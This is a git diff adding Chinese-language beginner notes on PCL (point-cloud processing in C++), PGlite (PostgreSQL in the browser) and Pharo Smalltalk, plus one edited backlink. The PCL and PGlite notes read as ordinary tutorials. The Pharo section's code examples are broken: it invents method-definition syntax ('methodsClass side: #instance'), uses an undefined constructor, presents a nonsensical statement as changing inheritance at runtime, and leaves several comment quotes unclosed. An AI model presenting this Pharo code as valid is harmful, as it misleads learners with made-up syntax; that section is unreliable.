index e1ad004a8..6c82c481b 100644
--- a/src/content/docs/projects/patchright.md
+++ b/src/content/docs/projects/patchright.md
@@ -150,7 +150,7 @@ asyncio.run(main())
 
 <!-- 由 scripts/regen-backlinks.mjs 自动生成 -->
 
-- [[browser-use]] —— browser-use — 让 LLM 用「DOM 索引清单」操作浏览器的 Python agent 框架
+- [[browser-use]] —— browser-use — 用自然语言让 AI Agent 操控浏览器
 - [[nanobrowser]] —— nanobrowser — 把 Chrome 扩展本身当成 AI agent 的运行沙箱
 - [[playwright]] —— Playwright — 跨浏览器自动化测试
 - [[stagehand]] —— stagehand — Playwright 加 LLM 的混血框架
diff --git a/src/content/docs/projects/pcl.md b/src/content/docs/projects/pcl.md
new file mode 100644
index 000000000..89799a422
--- /dev/null
+++ b/src/content/docs/projects/pcl.md
@@ -0,0 +1,268 @@
+---
+title: PCL — Point Cloud Library 点云处理经典库
+description: 模块化 C++ 点云 I/O、滤波、特征、配准、分割与可视化；ROS/激光雷达/三维重建管线的工业级算法底座
+来源: 'https://github.com/PointCloudLibrary/pcl'
+日期: 2026-06-13
+子分类: 渲染与图形
+分类: 图形学
+难度: 初级
+provenance: pipeline-v3
+---
+
+## 是什么
+
+**PCL**（Point Cloud Library，点云库）是面向 **2D/3D 图像与点云处理** 的大规模开源 C++ 项目，由 Willow Garage、NVIDIA 等机构早期推动，现由社区在 [PointCloudLibrary/pcl](https://github.com/PointCloudLibrary/pcl) 维护。采用 **BSD 许可**，可自由用于研究与商业产品。官方站点与教程见 [pointclouds.org](https://pointclouds.org/documentation/)。
+
+日常类比：激光雷达或深度相机扫过一间屋子，得到的是**漫天飞舞的坐标小点**——像把整间房用荧光粉喷了一遍，每个粉粒都有 (x, y, z)。PCL 就是处理这些粉粒的**专业工坊**：
+
+- **I/O** 负责把粉粒装进盒子、贴上标签（PCD/PLY 文件）；
+- **Filters** 用筛子去掉飞出去的噪点、把过密的粉粒合并成「街区级」分辨率；
+- **Segmentation** 把属于桌面、墙面、椅子的粉粒分成不同堆；
+- **Registration** 把两次扫描的粉粒图对齐叠合（SLAM、三维重建必备）；
+- **Visualization** 让你在屏幕上旋转观察这团粉粒。
+
+与 [[open3d]] 相比：PCL 更偏 **C++ 原生、模块细分、ROS 生态老牌**；Open3D 的 Python 体验更现代。许多自动驾驶与机器人代码库底层仍链 PCL；新项目若重度 Python，常先 Open3D，需要与 ROS 1/2 或历史 C++ 管线对接时再学 PCL。
+
+## 为什么重要
+
+零基础接触三维感知，PCL 仍是绕不开的「词典」：
+
+- **算法覆盖面广**：滤波、法线、FPFH 特征、ICP/NDT 配准、RANSAC 平面/圆柱分割、欧氏聚类、Poisson 重建——论文与工业实现大量引用同一套类名
+- **模块化 CMake 工程**：`find_package(PCL)` 后按组件链接，只拉需要的 `pcl_io`、`pcl_filters` 等，避免巨型单体库
+- **PCD 格式事实标准之一**：`pcl::PCDReader` / `PCDWriter` 与 ROS `sensor_msgs/PointCloud2` 转换是经典组合
+- **与 [[opencv]] 互补**：OpenCV 管 RGB 图像矩阵；PCL 管三维点——RGB-D 融合时常二者并用
+
+## 核心概念
+
+### 1. 点类型与 `PointCloud<T>`
+
+PCL 用模板区分点的字段。最常用：
+
+| 类型 | 字段 | 典型场景 |
+| --- | --- | --- |
+| `pcl::PointXYZ` | x, y, z | 纯几何 |
+| `pcl::PointXYZRGB` | x, y, z + rgb | 彩色点云 |
+| `pcl::PointXYZI` | x, y, z + intensity | 激光雷达强度 |
+
+点云容器 `pcl::PointCloud<PointT>` 内部是 `std::vector<PointT> points`，并带 `width`、`height`：无序点云常设 `height = 1`，有序深度图则 `width × height` 与图像对齐。
+
+```cpp
+#include <pcl/point_types.h>
+#include <pcl/point_cloud.h>
+
+pcl::PointCloud<pcl::PointXYZ>::Ptr cloud(new pcl::PointCloud<pcl::PointXYZ>);
+cloud->width  = 4;
+cloud->height = 1;
+cloud->is_dense = false;
+cloud->points.resize(cloud->width * cloud->height);
+
+cloud->points[0] = {1.0f, 0.0f, 0.0f};
+cloud->points[1] = {0.0f, 1.0f, 0.0f};
+cloud->points[2] = {0.0f, 0.0f, 1.0f};
+cloud->points[3] = {1.0f, 1.0f, 1.0f};
+```
+
+智能指针 `Ptr`（`boost::shared_ptr` 或 `std::shared_ptr`，视版本而定）在 PCL API 中无处不在——过滤器、分割器输入输出都传 `Ptr`。
+
+### 2. I/O：读写 PCD
+
+`pcl_io` 模块提供 `loadPCDFile` / `savePCDFile`，也支持 PLY 等。PCD 有 **ASCII 与 binary** 两种存储；大数据集务必用 binary，否则加载慢一个数量级。
+
+```cpp
+#include <pcl/io/pcd_io.h>
+#include <pcl/point_types.h>
+
+pcl::PointCloud<pcl::PointXYZ>::Ptr cloud(new pcl::PointCloud<pcl::PointXYZ>);
+
+if (pcl::io::loadPCDFile<pcl::PointXYZ>("room_scan.pcd", *cloud) == -1) {
+  PCL_ERROR("Couldn't read file room_scan.pcd\n");
+  return -1;
+}
+std::cerr << "Loaded " << cloud->size() << " points\n";
+
+pcl::io::savePCDFileBinary("room_copy.pcd", *cloud);
+```
+
+### 3. Filters：体素下采样与统计离群点
+
+**VoxelGrid**：把空间划成小立方体（体素），每个体素内多点合并为一个代表点（常用质心），是降采样第一步。官方教程示例：46 万点、叶尺寸 1 cm 可压到约 4 万点量级。
+
+**StatisticalOutlierRemoval**：对每个点算到 k 近邻的平均距离，假设全局呈高斯分布，剔除距离过大的「影子点」——深度相机边缘、多径反射常产生这类噪点。
+
+滤波器统一模式：`setInputCloud` → 设参数 → `filter(output)`。
+
+### 4. Sample Consensus 与分割
+
+**SACSegmentation** 用 RANSAC 等鲁棒估计拟合几何模型：平面、球、圆柱、直线等。输出 **内点索引** `pcl::PointIndices` 与 **模型系数** `pcl::ModelCoefficients`（平面为 ax+by+cz+d=0 四个数）。
+
+**EuclideanClusterExtraction** 在已滤波的云上按空间距离聚类，适合把桌面上的物体分成独立簇——常与平面分割串联（先去掉地面，再聚类）。
+
+### 5. Registration：ICP
+
+**Iterative Closest Point** 迭代找对应点对并最小化距离，用于两帧点云配准。PCL 提供 point-to-point、point-to-plane（需法线）等变体；大规模场景可结合 **NDT**（Normal Distributions Transform）。
+
+### 6. 搜索结构：KdTree 与 Octree
+
+近邻查询是法线估计、特征描述子、ICP 的基础。`pcl::search::KdTree` 与 `pcl::octree` 按规模与动态更新需求选用。
+
+### 7. 模块地图（入门优先序）
+
+| 模块 | 作用 |
+| --- | --- |
+| `common` | 点类型、变换、公共数据结构 |
+| `io` | 文件与传感器读写 |
+| `filters` | 下采样、裁剪、离群点 |
+| `segmentation` | SAC、聚类 |
+| `registration` | ICP、NDT |
+| `features` | 法线、FPFH、SHOT 等 |
+| `visualization` | PCLVisualizer 交互显示 |
+| `kdtree` / `octree` | 空间索引 |
+
+完整列表见官方 [Walkthrough](https://pointclouds.org/documentation/tutorials/walkthrough.html)。
+
+## 代码示例
+
+### 示例 1：体素下采样完整程序
+
+下列代码改编自官方 [VoxelGrid 教程](https://pointclouds.org/documentation/tutorials/voxel_grid.html)：读入 PCD → 1 cm 体素滤波 → 保存。
+
+```cpp
+#include <iostream>
+#include <pcl/io/pcd_io.h>
+#include <pcl/point_types.h>
+#include <pcl/filters/voxel_grid.h>
+
+int main(int argc, char** argv) {
+  pcl::PCLPointCloud2::Ptr cloud(new pcl::PCLPointCloud2());
+  pcl::PCLPointCloud2::Ptr cloud_filtered(new pcl::PCLPointCloud2());
+
+  if (pcl::io::loadPCDFile(argv[1], *cloud) < 0) {
+    PCL_ERROR("Could not read %s\n", argv[1]);
+    return -1;
+  }
+
+  std::cerr << "Before: " << cloud->width * cloud->height << " points\n";
+
+  pcl::VoxelGrid<pcl::PCLPointCloud2> sor;
+  sor.setInputCloud(cloud);
+  sor.setLeafSize(0.01f, 0.01f, 0.01f);  // 1 cm 体素
+  sor.filter(*cloud_filtered);
+
+  std::cerr << "After:  " << cloud_filtered->width * cloud_filtered->height << " points\n";
+  pcl::io::savePCDFileBinary("filtered.pcd", *cloud_filtered);
+  return 0;
+}
+```
+
+**CMakeLists.txt** 最小片段：
+
+```cmake
+cmake_minimum_required(VERSION 3.16)
+project(pcl_voxel_demo)
+find_package(PCL 1.12 REQUIRED COMPONENTS common io filters)
+add_executable(voxel_demo main.cpp)
+target_link_libraries(voxel_demo PRIVATE ${PCL_LIBRARIES})
+target_include_directories(voxel_demo PRIVATE ${PCL_INCLUDE_DIRS})
+```
+
+Ubuntu 上通常 `sudo apt install libpcl-dev`，macOS 可用 `brew install pcl`。
+
+### 示例 2：RANSAC 平面分割
+
+在近似水平的点云上拟合平面，剔除外点（官方 [Planar Segmentation](https://pointclouds.org/documentation/tutorials/planar_segmentation.html) 思路）：
+
+```cpp
+#include <pcl/ModelCoefficients.h>
+#include <pcl/point_types.h>
+#include <pcl/sample_consensus/method_types.h>
+#include <pcl/sample_consensus/model_types.h>
+#include <pcl/segmentation/sac_segmentation.h>
+
+int main() {
+  pcl::PointCloud<pcl::PointXYZ>::Ptr cloud(new pcl::PointCloud<pcl::PointXYZ>);
+  cloud->width = 15;
+  cloud->height = 1;
+  cloud->points.resize(15);
+
+  for (auto& p : cloud->points) {
+    p.x = 1024.0f * rand() / (RAND_MAX + 1.0f);
+    p.y = 1024.0f * rand() / (RAND_MAX + 1.0f);
+    p.z = 1.0f;  // 近似 z=1 平面
+  }
+  (*cloud)[0].z = 2.0f;   // 人为外点
+  (*cloud)[3].z = -2.0f;
+  (*cloud)[6].z = 4.0f;
+
+  pcl::ModelCoefficients::Ptr coefficients(new pcl::ModelCoefficients);
+  pcl::PointIndices::Ptr inliers(new pcl::PointIndices);
+
+  pcl::SACSegmentation<pcl::PointXYZ> seg;
+  seg.setOptimizeCoefficients(true);
+  seg.setModelType(pcl::SACMODEL_PLANE);
+  seg.setMethodType(pcl::SAC_RANSAC);
+  seg.setDistanceThreshold(0.01);
+  seg.setInputCloud(cloud);
+  seg.segment(*inliers, *coefficients);
+
+  if (inliers->indices.empty()) {
+    PCL_ERROR("Plane fitting failed.\n");
+    return -1;
+  }
+
+  // 平面 ax + by + cz + d = 0
+  auto& c = coefficients->values;
+  std::cerr << "Plane: " << c[0] << "x + " << c[1] << "y + "
+            << c[2] << "z + " << c[3] << " = 0\n";
+  std::cerr << "Inliers: " << inliers->indices.size() << " / " << cloud->size() << "\n";
+  return 0;
+}
+```
+
+后续可用 `pcl::ExtractIndices` 把内点/外点拆成两个子云，再对非地面点做欧氏聚类检测物体。
+
+### 示例 3：Python 侧说明（可选）
+
+官方主推 C++；社区有 `python-pcl` 等绑定，但维护度不如 [[open3d]]。若课程作业要求 Python，建议：
+
+1. 用 Open3D 完成同等算法验证；
+2. 或在 ROS 2 里通过 `pcl_ros` / `sensor_msgs` 与 C++ 节点交互。
+
+理解 PCL 类名后，读 ROS `pcl_conversions` 与 launch 文件会轻松很多。
+
+## 典型学习路径
+
+1. **装环境 + 跑通 PCD 读写**：确认 `pcl_viewer room.pcd` 能显示（`pcl_tools` 包）
+2. **VoxelGrid + StatisticalOutlierRemoval**：建立「先瘦身、再去噪」习惯
+3. **平面分割 + 欧氏聚类**：室内场景桌面/物体分离
+4. **法线估计 + Point-to-Plane ICP**：两帧配准
+5. **读一个 ROS `point_cloud_processor` 节点源码**：看真实管线如何串模块
+
+## 常见坑
+
+1. **模板类型不一致**：`PointCloud<PointXYZ>` 的滤波器不能喂 `PointXYZRGB`，需 `copyPointCloud` 或统一类型
+2. **未初始化 width/height**：`points.size()` 与 `width*height` 不一致会导致 I/O 或可视化异常
+3. **叶尺寸过小**：VoxelGrid 的 `leaf` 小于点云噪声幅度时几乎不降采样
+4. **RANSAC 阈值单位**：`distanceThreshold` 与点云坐标系一致（米 vs 毫米），差 1000 倍会直接失败
+5. **编译时间长**：PCL 依赖 Boost、Eigen、FLANN 等；只 `find_package` 需要的 `COMPONENTS`，勿链接全家桶
+6. **与 ROS 版本匹配**：ROS Noetic / Humble 自带 PCL 版本不同，混用系统 PCL 与 ROS 内置易 ABI 冲突
+
+## 与相邻工具的关系
+
+| 工具 | 分工 |
+| --- | --- |
+| [[open3d]] | 现代 Python/C++ 几何库，交互可视化友好，算法与 PCL 大量重叠 |
+| [[opencv]] | 2D 图像；深度图转点云时常先用 OpenCV 再喂 PCL |
+| [[assimp]] | 网格模型导入；mesh 采样成点云后可进 PCL 管线 |
+| [[blender]] | 人工建模与渲染；仿真点云导出 PLY/PCD 再算法处理 |
+| ROS / `sensor_msgs` | 机器人实时点云传输，底层常转 `pcl::PointCloud` |
+
+## 延伸资源
+
+- 官方教程索引：[https://pointclouds.org/documentation/tutorials/](https://pointclouds.org/documentation/tutorials/)
+- API 文档：[https://pointclouds.org/documentation/](https://pointclouds.org/documentation/)
+- GitHub Wiki（开发者笔记）：[https://github.com/PointCloudLibrary/pcl/wiki](https://github.com/PointCloudLibrary/pcl/wiki)
+- 经典论文背景：Rusu & Cousins, *3D is here: Point Cloud Library (PCL)*, ICRA 2011 Workshop
+
+## 小结
+
+PCL 是点云领域的 **C++ 算法百科全书**：从读入 PCD 到滤波、分割、配准、可视化，模块边界清晰，ROS 与激光雷达生态沉淀深厚。零基础可先建立「点类型 → 滤波降采样 → RANSAC 分割 → ICP 配准」的主线，再按需深入 `features` 与 `surface` 重建；若日常以 Python 实验为主，可并行学习 [[open3d]]，但认读 PCL 类名与管线顺序对读机器人代码仍不可或缺。
diff --git a/src/content/docs/projects/pglite-electric.md b/src/content/docs/projects/pglite-electric.md
new file mode 100644
index 000000000..fc1117783
--- /dev/null
+++ b/src/content/docs/projects/pglite-electric.md
@@ -0,0 +1,205 @@
+---
+title: PGlite — 浏览器里的 PostgreSQL：零基础学习笔记
+来源: https://github.com/electric-sql/pglite
+日期: 2026-06-13
+分类: 数据库
+子分类: 存储与查询
+provenance: pipeline-v3
+---
+
+# PGlite — 浏览器里的 PostgreSQL：零基础学习笔记
+
+## 一、什么是 PGlite？先想一个问题
+
+你用过 PostgreSQL 吗？如果没有，没关系。你只需要知道：
+
+> PostgreSQL 是世界上功能最强大的开源关系型数据库之一。它需要安装在服务器上，应用程序通过网络连接去查询它。
+
+PGlite 做的事很简单：**把整个 PostgreSQL 数据库塞进一个 WebAssembly 模块里，让你能在浏览器中直接运行它，不需要安装任何服务器。**
+
+日常类比：
+
+- 传统的 PostgreSQL 就像一台商用餐厅的后厨——食物（数据）在专门的厨房里做，顾客（你的网页）只能在外面点餐。
+- PGlite 就像给每个顾客发了一个微型折叠厨房——你的浏览器就是厨房，数据在你自己的浏览器里处理，不需要去餐厅。
+
+## 二、核心概念
+
+### 2.1 Postgres in WASM，不是虚拟机
+
+很多"浏览器里跑数据库"的项目（比如以前的 pg.js）是用了整个 Linux 虚拟机。PGlite 不一样：它是把 PostgreSQL 用 Emscripten 编译成 WASM 格式，直接在浏览器的 JavaScript 引擎里跑。
+
+类比：虚拟机就像在电脑里又开了一台完整的电脑（又慢又大）；WASM 就像把厨房的工具直接折成纸模型（只有 3MB 压缩后）。
+
+### 2.2 单一连接
+
+PGlite 只有一个用户/连接。就像你家的水龙头只有一个——可以同时用一个，但不能两个人同时拧。这个限制对前端场景通常不是问题，但如果有多个 tab 需要共享同一个数据库，PGlite 提供了 Multi-tab Worker 方案。
+
+### 2.3 存储后端
+
+PGlite 支持三种存储方式：
+
+| 存储类型 | 代码前缀 | 在哪用 | 特点 |
+|---------|---------|-------|------|
+| 内存 | `memory://` | 所有平台 | 页面刷新就没了，像随手记 |
+| 文件系统 | `file://` 或不写前缀 | Node/Bun | 存在硬盘上，持久化 |
+| IndexedDB | `idb://` | 浏览器 | 存在浏览器里，刷新还在 |
+
+### 2.4 两种查询方式
+
+PGlite 提供了两种查询方法，功能类似但各有用途：
+
+- **`.query()`** — 支持参数化查询，适合动态 SQL（防止 SQL 注入）
+- **`.exec()`** — 支持多条 SQL 语句一起执行，适合建表、导入数据
+
+## 三、代码示例
+
+### 示例 1：创建数据库、建表、查询
+
+这是最基础的用法。无论浏览器还是 Node.js，代码几乎一样：
+
+```javascript
+import { PGlite } from '@electric-sql/pglite'
+
+// 创建实例（使用 memory 模式，刷新就没了）
+const db = await PGlite.create()
+
+// 用 .exec() 建表 + 插入数据（可以同时写多条 SQL）
+await db.exec(`
+  CREATE TABLE IF NOT EXISTS todo (
+    id SERIAL PRIMARY KEY,
+    task TEXT,
+    done BOOLEAN DEFAULT false
+  );
+  INSERT INTO todo (task, done) VALUES ('Install PGlite', true);
+  INSERT INTO todo (task, done) VALUES ('Write a query', false);
+  INSERT INTO todo (task) VALUES ('Learn PGlite');
+`)
+
+// 用 .query() 查询数据（支持参数化）
+const result = await db.query('SELECT * FROM todo WHERE done = $1', [true])
+console.log(result.rows)
+// -> [{ id: 1, task: 'Install PGlite', done: true }]
+```
+
+拆解一下这段代码：
+
+1. `PGlite.create()` — 异步创建数据库实例，返回一个 Promise
+2. `db.exec()` — 执行任意多条 SQL，不传参数，返回所有语句的结果数组
+3. `db.query()` — 执行单条 SQL，`$1` 是占位符，第二个参数 `[true]` 会安全地替代 `$1`
+4. `result.rows` — 查询结果以 JavaScript 对象数组的形式返回
+
+### 示例 2：带持久化的任务列表 + 实时通知
+
+这个示例展示了更多特性：持久化存储、参数化更新、以及 PostgreSQL 的通知机制：
+
+```javascript
+import { PGlite } from '@electric-sql/pglite'
+
+// 用 IndexedDB 持久化，刷新页面数据还在
+const db = await PGlite.create('idb://my-todo-app')
+
+// 建表
+await db.exec(`
+  CREATE TABLE IF NOT EXISTS items (
+    id SERIAL PRIMARY KEY,
+    name TEXT,
+    quantity INTEGER DEFAULT 0
+  );
+`)
+
+// 插入数据
+await db.query('INSERT INTO items (name, quantity) VALUES ($1, $2)', ['苹果', 5])
+await db.query('INSERT INTO items (name, quantity) VALUES ($1, $2)', ['香蕉', 3])
+
+// 更新数据 — 把苹果数量改成 10
+await db.query(
+  'UPDATE items SET quantity = $1 WHERE name = $2',
+  [10, '苹果']
+)
+
+// 查全部
+const allItems = await db.query('SELECT * FROM items')
+console.log(allItems.rows)
+// -> [{ id: 1, name: '苹果', quantity: 10 }, { id: 2, name: '香蕉', quantity: 3 }]
+
+// PostgreSQL 的通知机制：监听 + 发送
+// 先订阅一个频道
+const unsub = await db.listen('item_updated', (payload) => {
+  console.log('收到通知:', payload)
+})
+
+// 在更新数据时发通知
+await db.query("NOTIFY item_updated, '苹果数量已更新'")
+
+// 不用时取消监听
+await unsub()
+```
+
+### 示例 3（进阶）：Live Queries — 数据变了自动更新
+
+PGlite 有一个 live 扩展，能让查询结果自动响应数据变化：
+
+```javascript
+import { PGlite } from '@electric-sql/pglite'
+import { live } from '@electric-sql/pglite/live'
+
+// 创建时加载 live 扩展
+const db = await PGlite.create({
+  extensions: { live }
+})
+
+// 建表 + 插入数据
+await db.exec(`
+  CREATE TABLE IF NOT EXISTS scores (
+    id SERIAL PRIMARY KEY,
+    player TEXT,
+    score INTEGER
+  );
+  INSERT INTO scores (player, score) VALUES ('Alice', 95), ('Bob', 82);
+`)
+
+// 订阅一个"活的"查询 — 数据变了，回调自动触发
+await db.live.query(
+  'SELECT * FROM scores ORDER BY score DESC',
+  [],
+  (result) => {
+    console.log('当前排行榜:')
+    result.rows.forEach(row => {
+      console.log(`  ${row.player}: ${row.score} 分`)
+    })
+  }
+)
+// 输出：
+//   Alice: 95 分
+//   Bob: 82 分
+
+// 插入一条新数据 — 上面的回调会自动再触发一次！
+await db.query("INSERT INTO scores (player, score) VALUES ('Charlie', 100)")
+// 输出：
+//   Charlie: 100 分
+//   Alice: 95 分
+//   Bob: 82 分
+```
+
+## 四、PGlite 能做什么？
+
+基于上面的概念，PGlite 的典型使用场景：
+
+1. **本地优先（Local-first）应用** — 数据存在用户浏览器里，离线也能用
+2. **快速原型** — 不需要配数据库服务器，npm install 就能跑
+3. **前端直接跑 SQL** — 不再需要后端 API 做简单查询，前端直连
+4. **AI/向量搜索** — 支持 pgvector 扩展，可以在浏览器里做向量检索
+5. **开发工具** — 内置 REPL 组件，可以在网页里嵌入一个数据库操作界面
+
+## 五、限制与注意事项
+
+- **单连接** — 同一时间只能有一个连接，多 Tab 共享需要 Worker
+- **内存占用** — 虽然 WASM 只有 3MB，但数据库内容存在内存中，数据量大时会变慢
+- **不是完整的 PostgreSQL** — 缺少某些服务器端特性（比如存储过程、触发器的高级功能）
+- **alpha 阶段** — 功能还在快速迭代中
+
+## 六、总结
+
+PGlite 的核心思想一句话概括：**把数据库变成前端的一等公民。**
+
+它不需要你安装任何东西，不需要配服务器，`new PGlite()` 一行代码就能得到一个完整的 PostgreSQL。对于想在前端直接操作数据的场景，PGlite 提供了一个非常轻量的答案。
diff --git a/src/content/docs/projects/pharo.md b/src/content/docs/projects/pharo.md
new file mode 100644
index 000000000..f57785627
--- /dev/null
+++ b/src/content/docs/projects/pharo.md
@@ -0,0 +1,257 @@
+---
+title: Pharo — 现代 Smalltalk 环境
+来源: https://github.com/pharo-project/pharo
+日期: 2026-06-13
+分类: 编译器
+子分类: 语言运行时
+provenance: pipeline-v3
+---
+
+# Pharo — 现代 Smalltalk 环境
+
+## 一、从"活着的程序"说起
+
+你用过 VS Code 或 IntelliJ 吗？写代码 -> 保存 -> 编译 -> 运行 -> 看结果 -> 改代码。每一步都在重启。
+
+Pharo 做的事情完全不同。你可以把 Pharo 想象成一整个操作系统长在了代码编辑器里——你的程序、调试工具、代码浏览器、甚至 Git 管理，全部融合在同一个界面里。
+
+最核心的区别：**Pharo 里的代码是活的**。你可以在程序运行的时候直接修改类的定义、添加新方法、改变继承关系，而无需重启。就像一个人在说话的过程中突然改变了思路，听众能立即跟上，而不是让他停下来全部重说。
+
+## 二、从小故事理解"一切皆对象"
+
+在大多数语言里，数字 42 是一个"基本类型"，字符串 "hello" 是另一个"基本类型"，它们和自定义的类是不同级别的存在。
+
+在 Pharo 里，**没有基本类型**。42 是 `Integer` 对象的一个实例，"hello" 是 `String` 对象的一个实例，你的自定义类也是对象。甚至"类"本身也是对象（它有对应的 MetaClass）。
+
+这就像：你家的每一个成员都有自己的房间（包括你自己），没有"这个人和家具不是一类"的说法。所有人都住在房子里，遵守同样的规则。
+
+因为"一切皆对象"，所以 Pharo 只用了 6 个保留字就完成了一套完整的语法。它的语法卡片甚至能印在一张明信片上——这也是为什么 Pharo 社区常说"语法小到装得下一张明信片"。
+
+## 三、核心概念
+
+### 3.1 消息传递（Message Passing）
+
+Pharo 中没有传统意义上的"函数调用"。你发送消息给对象，对象决定如何回应。
+
+这听起来抽象？想象你在餐厅点餐：
+
+- 在 Java/Python 里，你说的是"调用厨房的 cook(汉堡) 方法"——你把动作和参数一起扔过去
+- 在 Pharo 里，你说的是"厨房，请做一个汉堡"——你发一条消息给厨房对象
+
+在代码层面，`42 factorial` 不是调用 42 的 factorial 方法，而是向 42 这个对象发送 factorial 消息。对象自己决定怎么算。
+
+### 3.2 系统镜像（System Image）
+
+Pharo 把你的整个开发环境打包成一个"镜像"文件（.image）。这就像给整个虚拟机拍了一张快照——包含所有对象、所有代码、所有运行状态。
+
+你可以：
+- 在调试时保存镜像，下次直接恢复现场
+- 把整个程序的状态发给同事，而不是只发代码
+- 在生产环境中热更新代码，因为整个环境是活的
+
+这不像普通的"保存文件"，更像是给游戏存档——你保存的不是一段代码，而是整个世界。
+
+### 3.3 反射与自省（Reflection）
+
+Pharo 让你能"看到程序内部的每一根电线"。你可以：
+- 列出某个类的所有实例
+- 找出哪些对象引用了某个对象
+- 查看、修改、替换方法的定义
+- 枚举一个类的所有父类、所有方法
+
+就像你能走进汽车发动机里面，一边看一边改零件，然后直接开走。
+
+### 3.4 调试器不只是调试器
+
+Pharo 的调试器可以做普通调试器做不到的事：
+- 在调试时修改代码并立即生效
+- 重启方法的执行（从中间某行重新跑）
+- 在调试时创建新方法
+- 修改异常的行为，甚至带着替代结果继续运行
+
+### 3.5 小语法，大威力
+
+Pharo 只有 6 个保留字：`self`、`super`、`nil`、`true`、`false`、`thisContext`。
+
+所有控制结构（if/else、loop、for）都是用闭包（closures）和消息传递实现的，而不是语言内置的语法。这意味着你可以用 Pharo 自己的语法，创造属于自己的控制结构。
+
+---
+
+## 四、代码示例
+
+### 示例 1：基本消息传递与集合操作
+
+```smalltalk
+"向 42 发送 factorial 消息，计算 42 的阶乘"
+42 factorial.
+"结果: 140500611775287989854314260624451156993638400000000"
+
+"创建字符串并发送消息"
+'Hello, Pharo!' size.
+"结果: 13
+
+'Hello, Pharo!' upcase.
+"结果: 'HELLO, PHARO!'"
+
+"创建集合并遍历"
+{ 1 . 2 . 3 . 4 . 5 } collect: [ :each | each squared ].
+"结果: { 1 . 4 . 9 . 16 . 25 }
+
+{ 'apple' . 'banana' . 'cherry' } select: [ :word | word size > 5 ].
+"结果: { 'banana' . 'cherry' }
+```
+
+这里展示了 Pharo 的消息传递风格：
+- `42 factorial` —— 向 42 发送"阶乘"消息
+- `size`、`upcase`、`collect:`、`select:` —— 都是向集合/字符串发送的消息
+- `[ :each | ... ]` —— 这是一个闭包（匿名函数），`:` 后面是参数，`|` 后面是方法体
+- `squared` —— 是向数字发送的消息，返回它的平方
+
+### 示例 2：定义类与面向对象
+
+```smalltalk
+"定义一个 Person 类"
+Object subclass: #Person
+    instanceVariableNames: 'name age'
+    classVariableNames: ''
+    package: 'MyApp'.
+
+"给 Person 类添加方法"
+Person methodsClass side: #instance
+    name: aString age: anInteger
+        name := aString.
+        age := anInteger.
+
+Person methodsClass side: #instance
+    fullName
+        ^ 'Hello, my name is ' , name.
+
+Person methodsClass side: #instance
+    isAdult
+        ^ age >= 18.
+
+"创建实例并发送消息"
+| alice bob |
+alice := Person name: 'Alice' age: 25.
+bob := Person name: 'Bob' age: 15.
+
+alice fullName.
+"结果: 'Hello, my name is Alice'
+
+alice isAdult.
+"结果: true
+
+bob isAdult.
+"结果: false
+
+"查看某个类的所有实例"
+Person allInstances.
+"结果: { alice . bob }
+
+"找出所有成年人的名字"
+(Person allInstances select: [ :p | p isAdult ]) collect: [ :p | p name ].
+"结果: { 'Alice' }
+```
+
+这展示了几个关键概念：
+- `Object subclass: #Person` —— 从 Object 派生出 Person 类。在 Pharo 中，所有类最终都继承自 Object
+- `instanceVariableNames: 'name age'` —— 定义两个实例变量
+- `methodsClass side: #instance` —— 指定这是实例方法（非类方法）
+- `^` —— 返回结果（类似 return）
+- `:=` —— 赋值操作符
+- `allInstances` —— 向 Person 类发送消息，返回所有实例（反射的力量）
+
+### 示例 3：类在运行时的演化
+
+```smalltalk
+"先查看 Person 类现有的实例变量"
+Person instVarNames.
+"结果: #('name' 'age')
+
+"在程序运行时，给 Person 类动态添加一个新的实例变量 'email'"
+Person addInstVar: #email.
+
+"这时，已经存在的 alice 和 bob 自动多了一个 email 属性！"
+Person allInstances.
+"结果: { alice . bob } —— 它们现在都有 email 属性了，虽然还没设值
+
+"给 alice 设置 email"
+alice email: 'alice@example.com'.
+
+"甚至可以在运行时改变继承关系"
+Object subclass: #Employee subclass: #Person
+"Employee 现在也是 Person 的子类（在 Pharo 的某些版本中支持）"
+```
+
+这就是"代码是活的"的真正含义——你可以在程序不重启的情况下改变类的结构，所有已经存在的对象都会自动适配。
+
+---
+
+## 五、Pharo 的独特之处
+
+### 5.1 IDE 与程序的边界消失
+
+在普通开发工具中，你写的代码和你使用的 IDE 是分离的。在 Pharo 中，IDE 本身也是用 Pharo 写的——浏览器、调试器、代码编辑器，全都是 Pharo 对象。
+
+这意味着你可以修改 IDE 的任何部分来适应你的需求。比如，你可以为一个特定的类创建一个专门的可视化工具，Pharo 叫这个"Moldable IDE"——可塑形的集成开发环境。
+
+### 5.2 内置 Git 支持
+
+Pharo 的 IDE 内置了完整的 Git 管理功能：
+- 按方法粒度（而非文件）追踪代码变更
+- 在 IDE 里直接比较方法的修订历史
+- 在 IDE 里创建 Pull Request
+- 合并分支的粒度到方法级别
+
+这比普通的文件级 Git 管理要精细得多。
+
+### 5.3 高性能虚拟机
+
+Pharo 的虚拟机 Cog 使用了即时编译（JIT），将 Pharo 字节码编译为机器码。加上 Spur 内存管理器（分代垃圾回收），Pharo 的性能已经可以和其他主流语言的环境相媲美。
+
+### 5.4 元编程能力
+
+Pharo 的元模型允许你修改语言本身的语义：
+- Traits（特质）—— 一种比多重继承更灵活的行为复用方式
+- Metalinks —— 在方法的抽象语法树上插入钩子，实现断点、覆盖率测试等功能
+- Proxy objects —— 代理对象可以拦截并重发所有消息给另一个对象
+
+---
+
+## 六、Pharo 的历史与生态
+
+Pharo 诞生于 2008 年 3 月，从 Squeak 分支出来。Squeak 本身又源自 1980 年代 Xerox PARC 的 Smalltalk-80。也就是说，Pharo 是 Smalltalk 家族中最活跃的当代继承者。
+
+- 当前最新版本：13.1（2025 年 6 月发布）
+- 语言占比：99.8% Smalltalk
+- 开源协议：MIT License
+- 社区：Pharo Consortium（企业支持）+ Pharo Association（个人支持）
+- 主要支持者：Inria（法国国家信息与自动化研究所）
+
+生态中有几个知名项目：
+- **Seaside** —— 用于动态 Web 开发的框架
+- **Zinc** —— HTTP 服务器组件
+- **Moose** —— 软件分析工具
+- **Roassal** —— 数据可视化工具
+
+---
+
+## 七、如何开始
+
+Pharo 支持 Windows、macOS 和 Linux（包括 ARM 处理器）。最简单的启动方式：
+
+```bash
+# 下载并运行（macOS / Linux）
+wget -O- https://get.pharo.org/64 | bash
+./pharo Pharo.image eval "42 factorial"
+```
+
+或者直接从 [pharo.org/download](https://pharo.org/download) 下载对应的安装包。
+
+Pharo 还提供在线课程（Mooc），已有超过 3000 人注册学习。
+
+---
+
+## 八、一句话总结
+
+> Pharo 不只是编程语言——它是一个"活着的开发环境"，让你在代码运行时随时观察、修改、扩展程序，就像在跟代码对话而不是跟机器对话。
